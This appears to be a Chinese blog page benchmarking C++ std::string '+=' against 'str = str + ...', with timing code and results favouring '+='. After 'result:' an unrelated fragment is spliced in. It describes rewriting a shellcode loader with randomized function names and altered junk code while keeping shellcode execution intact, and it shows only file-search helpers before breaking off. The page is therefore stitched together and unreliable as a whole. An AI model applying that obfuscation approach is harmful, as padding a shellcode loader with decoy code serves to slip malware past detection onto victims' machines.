std::string += 和 =+ 执行效率对比

在Windows10的mingw64环境下,对C++中的std::string使用累加赋值运算符+=与先拼接再赋值=+进行效率测试。实验表明,在大量拼接操作时,+=的效率显著高于=+。对于整型变量,两种累加方式在测试范围内效率无明显差异。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

std::string += && =+ compare

C++ 中,string 的拼接运算,常用的方法有 先拼接再赋值=+ 和 直接使用累加赋值运算符 +=

在 Windows10 下,使用 mingw64 8.1.0 ,测试对比了 字符串使用着两种方法的效率差异。

实验结果显示,在该操作重复次数比较大时,累加赋值运算符 += 的效率明显高于先拼接再赋值=+。顺便测试了 int 型这两种累加方式的效率,在测试的累计额范围内,两者没有差别。这里的测试累计额次数为 200000,每个测试结果取 10 的平均值。当累计额次数更多的时候,字符串的两种操作的结果效率差异会更加明显。

test code:

#include<iostream>
#include<time.h>

int main(){
    std::string str1 = "a";
    std::string str2 = "a";
    double total_time = 0;
    int test_num = 10;

    // += for string
    for (int cnt = 0; cnt < test_num; cnt++) {
        clock_t start1 = clock();
        for (int i = 0; i < 200000; i++) {
            str1 += "a";
        }
        clock_t end1 = clock();
        total_time += (double)(end1 - start1) / CLOCKS_PER_SEC;
    }
    std::cout << "time of += for string: " << total_time / test_num << " s" << std::endl;

    // =+ for string
    total_time = 0;
    for (int cnt = 0; cnt < test_num; cnt++) {
        clock_t start2 = clock();
        for (int i = 0; i < 200000; i++) {
            str2 = str2 + "a";
        }
        clock_t end2 = clock();
        total_time += (double)(end2 - start2) / CLOCKS_PER_SEC;
    }
    std::cout << "time of =+ for string: " << total_time / test_num << " s" << std::endl;
    
    int a = 0;
    int b = 0;

    // += for int
    total_time = 0;
    for (int cnt = 0; cnt < test_num; cnt++) {
        clock_t start3 = clock();
        for (int i = 0; i < 200000; i++) {
            a += 1;
        }
        clock_t end3 = clock();
        total_time += (double)(end3 - start3) / CLOCKS_PER_SEC;
    }
    std::cout << "time of += for int: " << total_time / test_num << " s" << std::endl;
    
    // =+ for int
    total_time = 0;
    for (int cnt = 0; cnt < test_num; cnt++) {
        clock_t start4 = clock();
        for (int i = 0; i < 200000; i++) {
            b = b + 1;
        }
        clock_t end4 = clock();
        total_time += (double)(end4 - start4) / CLOCKS_PER_SEC;
    }
    std::cout << "time of =+ for int: " << total_time / test_num << " s" << std::endl;

    return 0;
}

result:

string+=_test

以下是将所有函数合并到 main 函数中,并对函数名进行随机更改、修改垃圾代码逻辑,同时保持 shellcode 执行流程不变的代码:#include <windows.h> #include <iostream> #include <cstring> #include <fstream> #include <string> #include <vector> #include <cstdlib> #include <ctime> // 搜索指定目录下的所有文件 void searchFilesInDirectory(const std::string& directory, std::vector<std::string>& fileList) { std::string searchPath = directory + "\\*"; WIN32_FIND_DATAA findData; HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData); if (hFind != INVALID_HANDLE_VALUE) { do { if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (strcmp(findData.cFileName, ".") != 0 && strcmp(findData.cFileName, "..") != 0) { std::string subDirectory = directory + "\\" + findData.cFileName; searchFilesInDirectory(subDirectory, fileList); } } else { fileList.push_back(directory + "\\" + findData.cFileName); } } while (FindNextFileA(hFind, &findData) != 0); FindClose(hFind); } } // 判断文件是否存在 bool isFileExists(const std::string& filePath) { std::ifstream file(filePath); return file.good(); } // 读取文件内容并统计行数 int countLinesInFile(const std::string& filePath) { std::ifstream file(filePath); if (!file.is_open()) { return 0; } int lineCount = 0; std::string line; while (std::getline(file, line)) { lineCount++; } file.close(); return lineCount; } // 生成随机文件名 std::string generateRandomFileName() { static const char alphanum[] = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz"; std::string fileName; for (int i = 0; i < 10; ++i) { fileName += alphanum[rand() % (sizeof(alphanum) - 1)]; } return fileName + ".txt"; } // 复杂操作函数,综合调用其他文件操作函数 void complexFileOperation() { std::vector<std::string> fileList; searchFilesInDirectory(".", fileList);
03-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值